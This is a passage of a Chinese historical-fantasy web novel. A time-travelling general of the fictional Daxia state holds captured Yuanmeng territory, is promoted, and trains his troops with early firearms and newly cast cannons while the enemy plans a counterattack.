悲从中来的木桑,花白的胡须一阵抖动,抢天呼地的就是一句。
图海见状,紧握拳头,双眼赤红地说道:“不报此仇,老夫誓不为人!”
哲别嘴角浮起一丝讥笑,目光一扫这一对儿女亲家,缓缓说道:“二位王爷节哀,为那木儿世子报仇,收复我元蒙土地的事,就交给末将好了!”
见哲别如此自信,忽烈儿身子向前一倾,沉声道:“你有何妙计?说出来听听!”
“可汗!”
哲别把目光,投向可汗忽烈儿,右手按在左胸,深躬一礼说道:“眼下,我元蒙已经向大夏三处防线出兵,只是黄羊岘一战失利。”
“要是我元蒙撤回其余两处兵马,只留小部分兵马继续驻扎,来迷惑另外两处防线的大夏军队。”
“悄悄撤回的大股兵马,补充到收复失地的战术部署上,如此一来,大夏军队的防务,依旧是分为眼下的三处。”
“当然,这些行动,不能大张旗鼓,得悄悄进行,既就是大夏军部发现我军异动,再增援黄羊岘防线,已经为时已晚。”
“我元蒙大军,以绝对的兵马优势,杀死侵入我元蒙领土的大夏军队,而且趁胜杀入黄羊岘,沿官道行军向通天驿镇、西河镇一路挺进,最后拿下万川郡。”
“如此一来,我元蒙大军长驱直入,吃掉大夏北防线最后一处防区虎头关,就可力图大夏中原……”
哲别滔滔不绝,一口气将自己的战术,大致上部署了一番。
此时,朝堂上一片死寂,众臣和各盟部的王爷们,也是鸦雀无声。
放弃另外两处进攻路线,抽调精兵强将,攻其一处?
要是一举将叶十三的一万兵马,尽数歼灭在元蒙境内?
那么,黄羊岘防区,就是无人之境,元蒙大军由此长驱直入,一路攻城掠地,直至把大夏的整个北方线拿下来?
首先,以此为依托,大夏的边城盛产粮食,奴役大夏百姓和败军,为元蒙大军生产粮食,如此后盾之下,他日进兵大夏中原的计划,自然就不在话下了。
“哈哈哈……”
突然,忽烈儿仰头一阵狂笑。
“好!”
点点头后,忽烈儿满脸喜色,高声道:“真不愧是我元蒙年轻一代的勇士,待摧毁大夏北防军的防线,本汗就把乌日娜公主嫁给你。”
此言一出,哲别激动的当场跪倒。
“谢可汗!”
哲别双膝跪地,抬头又道:“此事急不得,先造声势,让其他防线的大夏军队不敢掉以轻心,如此一来,大夏军队还要时时提防我军突然发动进攻。”
“而我军的抽出来的精锐,悄悄向大金盟部这边集结,等所有兵马集结就绪,以迅雷不及掩耳之势,突然发动进攻,以绝对优势的兵力,将大夏黄羊岘守将叶十三诛杀在我元蒙的领地上,让那些入侵我元蒙领地的大夏军队有来无回……”
这下,所有人都懂了。
这个计划,简直是天衣无缝。
在其他两处防线上,元蒙军队进行佯攻,造出声势来拖住大夏军队。
而元蒙的精锐之师,则悄悄向沁目河流域集结,如此一来,直接将叶十三在大金盟部粮草大营的兵马一举歼灭。
只要黄羊岘一破,元蒙大军的精锐部队,直接从岘口长驱直入……
“好主意,好战术……”
“此计绝妙啊……”
“后生可畏,真不愧是年轻一代的勇士……”
“此战得胜,可汗多
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年谋划的的霸业,指日可待……”
“我军放缓时日,悄悄布兵,不就是多忍耐一些日子吗?”
“待他大夏军队发觉,我元蒙大军如神兵天降……”
朝堂上一片称赞之声,之前提出和亲休战的大臣们,也不禁频频点头。
忽烈儿脸上,露出满意的笑容,目光在众人身上一一扫过,最后落在哲别身上,眼神中满是赞赏与期许。
“来人!”
突然,忽烈儿从銮椅上站了起来,高声道:“给勇士哲别,赐金甲!”
赐金甲?
就是王公大臣,领兵作战的事也常有,但也没资格穿金甲。
一些曾经征战多年的王公们,也不禁面露羡慕之色。
年轻的臣子们,就更不用说了,看向哲别的目光里,也尽是钦佩之意。
……
与此同时,叶十三把吴六子叫到军帐。
“速去黄羊岘烽火台营房,命令袁彪部,带上所有缴获的元蒙**的兵器进驻硫磺谷,烽火台那边无需再防守。”
这话没毛病,北防军已经占领了大金盟部的粮草大营,黄羊岘烽火台那一片,已经没有元蒙**进犯的可能。
除非元蒙**兵长了翅膀,从几十里的北防军占领区飞过去。
“还有!”
叶十三从怀里拿出一封密信,沉声又道:“这个图纸,交给曹三锤抓紧铸造,林老幺那边,也给催紧了。”
吴六子知道事关重大,重重地点点头,双手接过密信揣进怀里,带了两名探马,一出营门就策马向黄羊岘方向狂奔而去。
不敢掉以轻心的周钊和穆顺,带着几名校尉来到军帐。
“叶将军,我们驻扎在此,属于孤立无援之势,不如撤回岘口防守好了?”
周钊踌躇片刻,还是说出了心中的顾虑。
穆顺也拱手说道:“占领一片荒漠,于我军来说意义不大,反正已经歼灭元蒙**不少,又得了粮草和战马,此地也没多大用处,不如放弃算了?”
二人的担忧,也不是没有道理。
此地非村非镇,不就是一片荒漠之地,而且眼下又白雪皑皑,就是放牧也无法派上用场。
如此驻守在这里,真不如撤回岘口布防反而轻松不少。
第222章 该来的总会要来
面对二人的建议,叶十三嘴角一拧。
“老子辛苦打下来的领地,为何要归还给元蒙**?”
此言一出,众将领脸上一片愕然。
话是这么说,但这片地方,眼下真是毫无用途。
从战略上讲,元蒙采用这个地方来屯粮集结军队,那是便于向黄羊岘发起进攻,作为一个后勤保障之地来使用。
但让北防军孤零零地驻守在这里,那可是白白消耗兵马粮草。
目光一扫眼前众将领,叶十三笑道:“元蒙**能把此处作为后勤保障之地,老子照样能利用此地,为我北防军杀过沁目河,来作后勤保障之地。”
此言一出,众将领无不大惊失色。
“叶将军……”
穆顺面颊一抽,惊道:“我部兵马,就这八千数之多,此役虽歼敌万余,但力图元蒙腹地,兵马可是远远不够啊!”
周钊也是一惊,急道:“如是计划向元蒙大范围出兵,最好是调集更多的兵马,集中兵力才是,但将军麾下的另外两万大军,还得驻守万川郡一带。”
这话没毛病。
军部的三万兵马,加上叶十三掌控的另外三万兵马,加起来也就是六万数。
北漠千里防线,号称十万兵马的北防军,其实最多只有九万左右。
另外的三万兵马,那得驻守北防线的最后一道防线虎头关。
目前,那三万兵马,可是鞭长莫及。
元蒙和大夏最后一处接壤之地虎头关,那可是进入大夏中原的北大门啊!
就是北防军主帅岳佟调遣,也得有朝廷兵部的军函才行。
为了削减镇北王吕南庭在边城的势力,朝廷是用尽了心思。
可以说,这三万多兵马,既能防守虎头关不被元蒙**攻破,而且还防止岳佟这些老将动歪心思起兵南下。
面对规劝,叶十三神色不变。
目光一扫众将领,态度坚定道:“兵马多了有多的好,但兵马少了,自有少的方便。”
“将军三思啊!”
周钊面上一紧,焦虑道:“眼下元蒙损失兵将颇多,又丢了领地,元蒙大汗忽烈儿定不会善罢甘休,定会集结更多的兵马来收复失地。”
“周将军言之有理!”
穆顺也是点点头,借机说道:“光是木桑和图海那两个老家伙,我军也不足为虑,但他们的可汗忽烈儿,是不会甘心咽下这口气的。”
“这些,那是自然会来的。”
叶十三点点头,背起双手来回踱步,思忖片刻,又道:“就是忽烈儿调兵遣将,那也得些时日,待元蒙大军集结了精锐,老子也正好磨利了宰他们的刀。”
看到叶十三如此笃定,周钊和穆顺二人,心里更加没了底。
如果元蒙大军精锐**,会将他们这不足一万的兵马,直接困死在这片白雪皑皑的荒漠之地。
这里除了一座用来囤积粮草的大营,再无其他防御工事可言。
就是眼下花费气力挖些掩体,那也无济于事,土层的冰冻,可不是三锨两锹就能挖得动的。
叶十三似乎看穿了众将领心中的顾虑,摆手笑道:“你们吩咐下去,各部兵马照常训练,就近几天,那忽烈儿还不一定能完成**的用兵策略。”
众将听闻,又陷入一阵沉思。穆顺皱眉道:“眼下,我军不缺粮草,但兵马数量还真是个短处,将军还是慎重考虑为好。”
“再说,就是即刻征兵,那也来不及,就是有足够的兵源,就训练也是没有时间。”
不甘心的穆顺,硬着头皮又是一句。
看到叶十三态度坚决,其他校尉们,更不敢谏言撤兵的策略了。
不过,就叶十三所说的要杀过沁目河去,这让校尉们心里又是一阵激动。
这几年,在**无数次的洗劫下,他们心里早都憋着无数的怨气。
虽然眼下兵马是少了点,不也将元蒙的近四万兵马,给杀得落荒而逃的嘛!
尤其是在巴立盟部的屯兵大营,别说被**射击死掉的,就大火烧起后,步军和骑兵之间的相互踩踏,也直接要了上千数**兵的命。
加上被步弓手射杀的,突围时被趟子手**的,元蒙兵马的死伤,也有万余。
自北防军和元蒙**对阵起,如此辉煌的战绩,还真没有过。
就是当年吕南庭亲率北防军出
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征时,那也是经历了无数次的恶战,多年才打下的安宁。
但这一战,北防军以极少的兵力,却将多于自己兵马数倍的元蒙大军彻底击垮。
脚下这片土地,虽然是一片荒漠,但大家心里的成就感,却是爆棚满满。
此刻,就差一杆帅旗,插在元蒙的大地上了。
待周钊和穆顺二人带着校尉们离开军帐,叶十三唤来了马成。
“几日后,此地必有一场恶战。”
“将军,是有情报了吗?”
叶十三摇摇头,道:“情报倒是没有,但我能想到,忽烈儿那老东西,必定调集精锐来此收复失地。”
“哪……”
马成一怔,低下头来小声又道:“小的以为,方才周钊将军他们所言还是有些道理。”
“你怕了?”
叶十三盯着马成低垂着的后脖梗,一撇嘴又道:“连你也以为,这片荒漠不值得驻守吗?”
“将军……”
马成缓缓抬起头来,迟疑片刻,才又说道:“岘口地势险要,易守难攻,我军要是退回去守住岘口,就凭眼下的实力,再是元蒙调集精锐攻打,我军也稳操胜券。”
叶十三嘴角一拧,冷声道:“难道驻守此地,我军就非败不成?”
这一问,直接说破了马成心中的顾虑。
见马成不语,叶十三背起双手,在地上来回踱步。
“你想想!”
叶十三突然停止了走动,目光看向马成,又道:“就是我黄羊岘防区是铜墙铁壁,那其他防线,并非铁板一块,你还真以为,岳佟他们能守住兔窝堡一带?”
狠瞪马成一眼,叶十三继续说道:“千里北防线是个话,但五百里防线却是有的,一旦被元蒙**的大军攻破一处,其他防区的兵马又无力增援,让元蒙大军直掏我北防军心窝,就一个黄羊岘防区,存在还有何意义?”
“啊……”
此言一出,马成茅塞顿开。
一旦万川郡或者是西河镇失守,那么,最位处北端的通天驿镇黄羊岘防区,就会被元蒙大军切断与整体北防线的连接。
如此一来,黄羊岘防区就会被困死。
第223章 难道这叶家,也是深藏不露?
“将军的意思?”
马成喉结上下蠕动一下,又道:“眼下只有挺进元蒙腹地,才可缓解其他防区的压力?”
“孺子可教!”
叶十三咧嘴一笑,摆手道:“你终于明白了,要成为一个将才,必须有远大的格局,不能只限于自己脚面上的局部得失。”
将才?
在叶十三眼里,他已经成了一个将才?
这下,马成不淡定了,激动得一颗心都抖了起来。
……
一晃几日过去,沁目河对面还没有动静。
一切都寂静得异常而可怕。
就是其他两个防区,岳佟和周大祥二人,也为此困惑不已。
对面的元蒙**兵们,动不动就来边境喊杀一阵,但不见实际的进攻。
他们,是在探大夏军队的虚实?
近几天以来,天天如此。
绷不住了的岳佟,终于和周大祥见了一面。
“周大祥,参见车骑大将军。”
带着亲兵,到了兔窝堡防线的周大祥,和岳佟一打照面,周大祥单腿跪地就拜。
“周老弟不可如此!”
岳佟离开座椅,双手扶起周大祥,急道:“你我兄弟之间,不可如此大礼。”
话是客套,但毕竟身份有别。
身为车骑大将军的岳佟,和同是骠骑大将军的周大祥,在军衔上差别不大,但军职却就不同了。
岳佟,挂的是北防军统帅的印,名义上还算是周大祥的上司。
周大祥也不扭捏,顺势站了起来,伸出一手道:“大将军请。”
待在军帐中坐定,岳佟也没客套多余的废话,直接进入主题。
“本帅心中有个疑虑,这元蒙方面,近日似乎在虚张声势,不知何故没有实质性的进攻?”
本来,周大祥对此,也存有疑虑。
但被岳佟说破,顿觉这里面肯定是有了问题。
“末将也觉得奇怪!”
周大祥眉头一皱,又道:“不瞒大将军,元蒙大军突然向我防区出兵,来势凶猛无比,我万川郡驻军奋力抵抗,才使形势扭转不少,可……”
“可什么?”
见周大祥欲言又止,岳佟紧逼着又是一问。
这一问,周大祥老脸一红,讪讪又道:“若是元蒙大军第二天再强攻下去,恐怕我防区就会破防,可是敌贼突然收兵,且退回二十多里……”
“奇怪!”
岳佟眉头紧蹙,思忖片刻也道:“本帅防区,也是如此,元蒙大军战局有利,如何就在第二天,突然撤回二十里地按兵不动?”
摇摇头,端起茶碗猛灌一气又道:“你我兵马数量,远多黄羊岘防区三倍,就不知叶十三那里,战局是何等状况了?”
看来,这两个军中大咖,对黄羊岘的现状,目前还不得而知。
就在此时,有探马来报。
“启禀岳统帅,启禀周大将军!”
探马满头大汗,进了军帐纳头就拜。
“讲!”
岳佟摆摆手,话题直入情报。
探顺了口气,接着又道:“小的带人伪装潜伏元蒙境内几日,终于探得部分实情。”
“说重点!”
周大祥可没耐心听探马讲过程,直接催问元蒙大军的真实动态。
“是!”
探马又顺了口气,继续道:“前几日,也就是敌贼来犯,和我军激战的当夜,元蒙境内沁目河沿线突发大火,大火蔓延四五十里,整整烧到第二天午时才熄。”
岳佟摇头道:“天干物燥,何况沁目河沿线芦苇茂盛,失火也是情理之中,这有何奇怪?”
探马抬起头来,又道:“小的探听到,元蒙与黄羊岘防区接壤的大金盟部,与野驴滩村相交界的巴立盟部,有两处屯兵的粮草大营,被怀远将军攻占,而且造成元蒙的两个盟部兵马折损两万余。”
“啊……”
此言一出,岳佟和周大祥二人,几乎是从椅子上蹦了起来,同声惊叫。
叶十三不但守住了黄羊岘的岘口,而且还出兵攻占了元蒙的两处领地?
这不可能!
绝对不可能。
依照元蒙大军对这两处防区的猛烈攻势,对黄羊岘的进攻不会太弱。
而且,叶十三手上,也就一万兵马。
区区一万兵马,歼灭两万多元蒙**兵,这简直是齐人说梦。
“混账!”
岳佟瞬间暴怒,厉声吼道:“军情岂能儿戏,由你信口胡编?”
周大祥也陡然色变,怒道:“两国交战非同小可,如此荒唐之言,你居然还是亲身探得?”
“大将军
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息怒!”
探马哭笑不得,苦哈哈望向二人,又道:“小的在刺探期间,亲眼看到无主的战马四处乱跑,接近大金盟部地界,向元蒙腹地慌张迁移的牧民更是不少……”
结合到元蒙方面最近的奇怪举动,岳佟目光看向周大祥,重重地点了点头。
周大祥转怒为惊,然后转惊为喜,大笑道:“这怀远将军,可真是天神下凡,有此悍将,我千里边城何愁不稳?”
“是,是!”
岳佟面色也缓了下来,讪笑道:“这货,还真**会打仗。”
周大祥幸庆,他还是跟对了人。
万川郡这支三万兵马的大军,由叶十三这样的将才率领,没有人不服。
岳佟虽然五味杂陈,叶十三的功绩已经远超于他,但叶十三毕竟是他一手提拔起来的兵将。
无论如何?
这都是他这个统帅的眼力和功劳。
之前,他只是认为叶十三能拼能杀,是个孤注一掷的亡命之徒。
哪知道?
这叶十三还是个不可多见的将才。
但从京都来人的吐露,这个太子太师之子,从小是陪太子读书,从没舞枪弄棒的经历。
太子太傅教太子武艺的时候,这个陪读公子并没陪练。
陪太子练武的,由太子少傅担任。
难道这叶家,也是深藏不露?
明着让叶十三陪太子读书,暗地里却培养叶十三的统兵才能?
太子谋反一案,难道……
岳佟想到这里,额头已经冒汗。
难道那些传闻,居然都是真的?
太子一案,牵连甚多,就连镇北王吕南庭,也差点被牵连进去。
岳佟甚至怀疑,这个叶十三说不定还是吕南庭有意安排到边城历练?
看来,他老了!
镇北王吕南庭,已经开始部署**人了?
如此一想,岳佟心中不免还是有些失落,但北防军不能落在肃王这些人的手里。
坚决不能。
如果让肃王掌握了这支大军,那么,他和他的几个重要部将,还有镇北王吕南庭,说不定就会被这些势力随便冠个罪名给清理掉。
太子太师叶铎,就是个血淋淋的例子。
为叶十三请功?
一个念头,霎时就冒了出来。
第224章 军部来人
半日后,大将军行辕。
岳佟挥笔疾书,然后加盖北防军帅印。
这次,岳佟没有亲自前往,而是派一名校尉,直接去了黄羊岘防区。
带着几名卫兵的校尉,在屯田村只见到了香香郡主。
“末将见过郡主!”
校尉**过香香郡主后,这才知道,叶十三并没有坐镇签房大院,而是带兵驻守在元蒙境内。
元蒙境内大金盟部的粮草大营,离岘口足有二十多里远,带着仅十名卫兵的校尉,还是没有胆量去见面叶十三。
“由于军务紧急,末将不便在此逗留,至于对叶将军的嘉奖,还望郡主代为转达。”
校尉编造了个理由,便从怀里拿出一份公函,举过头顶双手递向香香郡主。
“也好!”
香香郡主点点头,傲然看向校尉,伸手接过公函后说道:“非常时期,本郡主就替军部跑一趟吧!”
“谢郡主!”
校尉如释重负,深躬一礼后急忙离开了屯田村。
当香香郡主拆开公函,好奇地扫了一眼后,霎时就蹦了起来。
升授昭毅将军?
这混蛋,前不久才初授怀远将军,这才几天?
就被升授昭毅将军了。
这怀远将军和昭毅将军之间,差的可不是三级。
这中间,还差着定远将军,怀远将军,昭勇将军三个级别的军职。
如果是按叶十三杀敌的数量,这种腾飞式的晋升也符合朝廷给边军的嘉奖令。
军部校尉带来的,除了这份晋升叶十三军职的公函,再无其他嘉奖带来。
“老东西,如此抠门!”
军部只升授叶十三为昭毅将军,而无半两银子和粮食的物质奖励。
“老东西,等有机会,本郡主让你加倍补上,人家泼了命去杀敌,你就如此把人家给打发了?”
香香郡主怒骂一句,一跺脚就出了签房大厅。
“郡主,您这是?”
苏哲好像意识到了什么?
心头陡然一惊,急道:“如今战事吃紧,郡主还是坐镇签房好了,以免后勤保障出现纰漏。”
还后勤保障个屁!
叶十三马肉都吃不完,粮草更是不缺,压根就不需要从屯田村调配任何物资。
倒是让作战挂彩的伤兵们,回来的时候,还带来不少的战马和兵器。
那些战马,自然有军户们操心。
就是那些打扫战场捡来的弯刀,也被田兵们卸掉了木柄,交给袁彪的兵马带走了。
眼下,她这个监军,就是聋子的耳朵摆设一个。
面对苏哲的阻拦,香香郡主倒也没恼,扬着手中的公函笑道:“本监军要去前线,向怀远将军叶十三,宣读军部的嘉奖令。”
本监军?
苏哲面颊一抽,拱手又道:“郡主三思,眼下非常时期,依末将看,要是贸然前去,说不准会打乱叶将军的部署。”
无计可施之下,苏哲只好出此下策,以此来阻止香香郡主前往元蒙境内。
再说,战场上,战局瞬息万变。
要是发生个什么意外?
那后果,真是不堪设想。
香香郡主柳眉一竖,哼道:“本郡主又不是三岁孩童,怎会不知战局状况?叶将军神勇无比,元蒙敌贼岂是对手,本郡主去宣读军部嘉奖令,鼓舞士气,说不定能让叶将军更快的大破敌军。你莫要再阻拦,难道本郡主还做不得这主?”
苏哲见郡主态度坚决,心中焦急万分,却又不敢强行阻拦,思忖片刻,咬牙道:“郡主执意要去,末将不敢不从,但郡主千金之躯,万万不可涉险。若是郡主非要亲临一线战场,末将只好护驾随行了。”
香香郡主嘴角上扬,露出一丝得意的笑容:“算你识相,那便即刻出发,莫要磨蹭。”苏哲无奈,只得迅速召集五十名卫兵,护驾香香郡主左右,一路向岘口狂奔而去。一路上,马蹄扬起残雪,众卫兵神色匆匆,不敢有丝毫松懈,保持着极高的警惕留意着沿途的动静。
此时,叶十三和马成,带着一百血卫军,从巴立盟部地界,进入硫磺谷。
不多时,秘密基地到了。
见到叶十三,袁彪急忙迎了上去。
“末将,参见怀远将军。”
“行了!”
叶十三摆摆手,张口问道;“你麾下兵马,现有多少数?”
袁彪道;“启禀将军,除了一些留守执勤的,末将眼下所带兵数整七百。”
“够了!”
叶十三点点头,把手一摆,道;“随我来,去工坊看看。”
在一处宽大的崖穴内,袁彪看到了放在地上的五十根水桶粗的铁柱。
黑黝黝的铁柱一头稍小,碗口大的开口,直通粗大的底部。
叶十三目光看向老铁匠,道:“就这些?”
满脸黑灰的老铁匠,呲着白森森的牙,点头道:“原有铁料,加上一万两千把刀料,就炼出这些精钢全部用来铸造。”<
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br>“好!”
叶十三目光一瞥地上黑黝黝的空心铁柱,点点头再无话说,拔腿就去了林老幺的工坊。
林老幺的工坊,又在另一处崖穴里面,几个兵卒正用羊皮捆扎着一坨坨黑色的东**。
这次,叶十三却什么都没问,什么也都没说,点点头后就出了林老幺的工坊。
跟在叶十三身后的袁彪,一脸不解地望向马成,企图从马成嘴里,也好得知一二。
不料,马成把脸一转,装作没看到袁彪求助的眼神。
来到元彪兵马驻扎的崖穴下面,叶十三目光一扫早已列队整齐的七百北防军。
“即刻起,袁彪部,入血卫军列。”
袁彪一怔,血卫军?
关于这个血卫军,他还是到了这硫磺谷,才知道有这么个兵种存在。
正在愣神时,叶十三又训话开始。
“眼下,火器**,只有五百多支,由你们这七百人,轮流练习射击……”
接下来,和当时训练射击时一样。
从装配**,到填**灌铁砂,再到射击要领,整整练习了大半天时间。
不过,作为硬弓和**的善射者来说,掌握火器**的使用,并不多什么难事。
训练结束,在等待开饭的空子里,叶十三把吴六子叫到眼前。
“即刻准备绳索和木棒,木匠做的木架全都搬出来,所有要带的物件,尽数装箱打包。”
“嗯!”
吴六子点点头,带着留守在此的部分血卫军,即刻就去照办。
不多时,叶十三带来的马肉,已经被煮好了。
叶十三把目光,又投向袁彪,道:“吩咐下去,饭后尽早歇息,午夜月光正亮时出发,天亮前务必到达野驴滩。”
此言一出,袁彪笑道:“将军多虑了,此地离野驴滩,峡谷的路再是难走,最多一个时辰也就到了,用不了到天亮前这么久。”
“你懂个屁!”
叶十三怒骂一句,转身就去火堆旁喝茶,把一头雾水的袁彪晾在那里傻站着。
马成冲着袁彪,呲牙一笑,然后幸灾乐祸地就跑得不见了踪影。
既然叶十三如此安排,袁彪也不好再问。
面对成山成堆的煮马肉,袁彪带着的七百兵卒,就像饿狼一样,在地上围成了一个个圈子,争先恐后地大吃起来。
平时肚里连糙米和杂粮都填不饱的兵卒们,见了不限数量的马肉,哪能不敞开了肚皮去吃?
第225章 排兵布阵血卫军
半夜,明月高悬。
临出发时,袁彪这才知道,之前看到的那些一头开口的空心铁柱,要全部运出硫磺谷去。
一根铁柱,足有上千金重,加上每根铁柱配有一个结实的木架,这就得十几个人才能抬得动。
加上硫磺顾道路崎岖不平,运送到谷口外的野驴滩,一个时辰怕是远远不够。
难怪马成那货,冲他呲牙咧嘴地坏笑,原来这货心知肚明,根本就没憋好屁。
不光这些,林老幺处那些羊皮包裹,也够好几百匹战马驮的。
能赶在天亮之前,到达预定地点,就已经算是烧高香了。
吴六子早都想好办法了。
每根空心铁柱,横穿三道绳子,每根绳子两头,又穿一根粗壮的棒子。
如此一来,六根棒子由十二个人抬起。
就这样,五十根空心铁柱,就由六百名新编的血卫军半里一歇气,一里一缓脚,直到天色大亮时,这才运出了硫磺谷。
余下的一百血卫军,和叶十三自带着的那一百,赶着总数八百匹战马,驮着不少的物件,跟在后面一起到达目的地。
出谷后,在山崖前宽阔的荒漠里停了下来。
这里,曾经是一片松林。
眼下已经被吴六子带人几次砍伐后,已经是光秃秃一片。
叶十三目光搜寻到一根半人高的树桩站了上去。
望着累得东倒西歪的那六百血卫军,叶十三暴吼道:“都给老子列队站好了。”
这么急?
不让大伙歇口气!
袁彪面上一紧,即刻指挥自己麾下被改编的这七百血卫军们,在雪地上齐齐列队站了。
看到列队如此迅速整齐,叶十三满意地点点头。
“都听好了,没有分到火器**的,出列!”
一声令下,二百膀大腰圆的兵卒从队列中上前两步,纷纷站在队列前面。
剩下的五百兵卒,那是被分到了**。
其实,马成和吴六子负责分配**的时候,刻意没给看起来体型彪悍,膀大腰圆的这部分兵卒发放。
这两货,对叶十三心思,那是已经到了心领神会的地步。
注定这二百憨包,是要以后出大力气的。
果然,叶十三的目光,一扫眼前这二百手中没有**的兵卒,高声道:“你们二百人,四人一组,分五十组。”
一阵混乱过后,二百人又齐齐地战列成五十组。
“好了!”
叶十三摆摆手,又指着被从马背上卸下来的五十具圆木打造的架子,继续说道:“把炮筒抬上木架,按图纸固定好了。”
说完,叶十三跳下木桩,亲自指挥着兵卒们,把那些空心铁柱,一个个都固定在木架上。
“这就是火炮,和你们手里的**一个道理,只是巨大了许多,威力更是**所不能比的。”
叶十三终于说出了这物件的名字。
火炮?
不但袁彪一头雾水,就是马成和吴六子,也好奇不已,重新观摩起来这些体型巨大的“**”来。
木架被一具具摆开,每架火炮间隔最少五丈距离。
叶十三重新站在那根木桩上,目光一扫二百手中没有**的兵卒,重新部署道:“四人一架火炮,今后,你们每组,各负责一架火炮的运输和使用。”
这些兵卒这才看到,每具木架上,早已编好了序列号。
不愧是平时训练有素的北防军,得令后,四人一组,分左右站在各自的火炮两侧。
叶十三点点头,视线转移到另外五百兵卒,吼道:“列队报数。”
一声令下,剩下的五百身背**的血卫军,呼啦啦又站成队列。
“一,二,三,二百零一,二百……”
当报数声喊到二百零几的时候,叶十三扬起一只手来,高声喊停。
“前二百名血卫军,出列,按报数序列,四人一组,每组一架火炮。”
这报数在前的二百血卫军,和前面的兵卒一样,也是四人一组,分左右两两在火炮两侧站了。
“好了!”
叶十三跳下了树桩,来到火炮队列前面,道:“每架火炮,配置四名炮手,另配四名**护卫。”
这样一来,
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一架火炮,被配上了八名血卫军,五十架火炮就组成了一支炮队。
剩下三百血卫军,编入马成的**卫队。
不算分给火炮队的二百人,血卫军**队,刚好一千兵数。
除了崔明贵带着的二百人,用来看守硫磺谷在元蒙那头的出入口,叶十三眼下带着出征的,已经有八百**卫队。
加上这五十门大炮和二百火炮卫队,他的班底已经是想到恐怖的了。
还不足两千兵数的血卫军,将会改变以后所有的战局。
待人员分配完毕,叶十三让陈七斤搬来装有**的藤条箱子。
自马成带领血卫军后,陈七斤就成了叶十三身边的跟班。
对于这些火炮,叶十三心里还真没底。
不过,**试射成功,而且在战场上已经发挥了巨大的作用。
这就让叶十三对火炮,更加有了信心和经验。
毕竟,他只是懂构造原理,而没有使用过这么落后的武器。
但在魂穿后的古代,这种武器,却开了战争史上火器的先河。
前世现代的一个倒霉鬼,却成了古代战争史上一个伟大的发明者,和火器使用的缔造者。
木质的炮架,就像一具雪橇。
叶十三指挥着炮手们,重新布阵,把炮口一字排开,朝向茫茫的雪野。
“填弹!”
叶十三大吼一声,然后亲自示范,给火炮的炮膛填**,再灌进足够的大块铁渣。
最后,叶十三接过陈七斤递上来的火信,从大炮后面的一处留开的小孔塞了进去。
在目测了一会方向后,叶十三举着火把,眼睛一闭,伸向露在炮身后面的火信。
滋滋滋……
卷有**的棉绳,冒着火花一截截变断,迅速地向炮膛内部燃烧进去。
“轰!”
一声地动山摇的响动,震得所有人都捂住了耳朵。
不多时,远远看到二里地外,一股泥土卷着积雪冲天而起……
成功了?
叶十三放开捂着耳朵的双手,从地上站了起来,茫然地望向雪野……
第226章 五万两银子,算是补发欠饷
这一声响。
七百新编的血卫军脸上一片茫然。
“报靶!”
蹲在地上站了起来的叶十三,突然向马成暴吼一声。
“遵命!”
马成直接撒开两腿,向着方才雪柱升起的地方狂奔而去。
这货,马都没骑。
叶十三怔了怔,大手一挥,吼道:“等着老子。”
说完,叶十三按捺不住内心的焦躁,飞身上马就追了过去。
叶十三的举动,引得袁彪和几个将领,面面相觑片刻,目光一阵交流后,纷纷跨上战马紧赶了上去。
二里地外的雪地上,一个半间屋子大小的浅坑,正出现在众将领面前。
浅坑里面黑色的泥土上,布满了不少的孔洞。
谁都知道,那些孔洞,就是从炮口射出的铁片造成的。
被冰冻的无比坚硬的雪地,能造成如此恐怖的现象,杀伤力真无法估量。
袁彪满脸通红,激动得面颊直抖。
叶十三缓缓转头,目光看向袁彪,沉声道:“血卫**炮卫,就归你统领。”
“谢将军!”
袁彪面颊又是一阵急抖,单腿跪地拱手应答。
“走,回去!”
叶十三满怀欣喜,勒转马头就直奔炮阵……
经过一整日的反复测试,看到调转炮口,炸得山崖直往下掉碎石的场景,血卫军们忘记了饥饿和疲劳,兴奋得像兔子一样,在雪地上狂跳不已。
望着逐渐暗了下来的天色,叶十三终于作出决定。
“开拔!”
一声令下,战马拉着炮架,就像拉雪橇一样,在通向隘口的雪地上,向元蒙境内疾驰。
饿着肚子的队伍,高举着火把,浑身是劲不知疲倦,待月亮在半夜升起来的时候,已经到达了粮草大营。
叶十三的到达,让坐卧不安的周钊和穆顺二人,这才安下了心来。
叶十三离开粮草大营的这两日,他二人的心,一直在嗓子眼上悬着,一刻也不敢轻心大意。
众将领拥簇着叶十三,径直走向叶十三住的军帐。
周钊像是想起来什么?
“将军……”
“说!”
叶十三转头,看向欲言又止的周钊。
周钊一怔,随即讪笑道;“郡主到了,就住在将军您的军帐!”
此言一出,叶十三的脸就黑了下来。
好在火把的光亮遮起一片阴影,没人注意到叶十三脸上神色的骤然变化。
“她来何干?”
叶十三的声音,随即也冷了下来,头也没回就是冷声一问。
“这个……”
周钊还真说不上,香香郡主突然来到这里,到底是何用意?
一阵尴尬之后,周钊讪讪说道:“郡主来时,满脸喜气,问及将军去向,末将只好实说将军带着一百亲卫,去巴立盟部巡视……”
“嗯!”
叶十三点点头,对周钊的说法,并无异议。
可这香香郡主在这等节骨眼上,脑子抽风了跑来前线凑热闹,让人真够头疼的了。
叶十三心里矛盾极了!
他恨不得亲手宰了肃王郑岳嵩一家,但他又不想看到香香郡主死在他的眼前。
眼下,这自己的军帐是回不成了。
已经发困的无法言说的叶十三,只好转身往旁边血卫军住的毡帐去。
就在他刚转身的时候,军帐的门被从里面打开,帐内已经亮起了蜡烛。
“将军回来了!”
何秀儿急急走出军帐,在叶十三面前跪了,低着头说道:“郡主有请将军。”
“哼!”
叶十三鼻孔冷哼一声,呆愣片刻,背着双手转身就走。
“站住!”
一声厉喝从身后传来,香香郡主已经穿戴整齐,走出军帐站在何秀儿身后。
叶十三停了下来,头也没回,冷冷说道:“三更半夜,不知监军大人有何吩咐?”
“本郡主代军部宣读嘉奖令!”
香香郡主一撇嘴,把手里拿着的公函,在众将领面前扬了扬。
嘉奖令?
叶十三背着身子,嘴角一拧,冷声又道:“不知军部,是要嘉奖我军何人?”
见叶十三态度如此冷漠,香香郡主也懒得再东拉西扯,借着火把的光亮翻开手中公函,刻意提高了声调。
“大夏国戍边北防军,军部统帅令!”
香香郡主抑扬顿挫,念完开头,刻意停了下来。
众将领皆被这突如其来的一幕,惊得不知所措,这战斗才打响不久,远远没有结束,这军部的嘉奖令可就到了?
军部的嘉奖令,那可是依照朝廷颁发的嘉奖条例来执行,某种程度上还代表着朝廷兵部。
无数目光,缓缓看向香香郡主手中公函的同时,众将领齐齐单腿跪下,右拳触地,低头静候嘉奖内容。
“咳咳!”
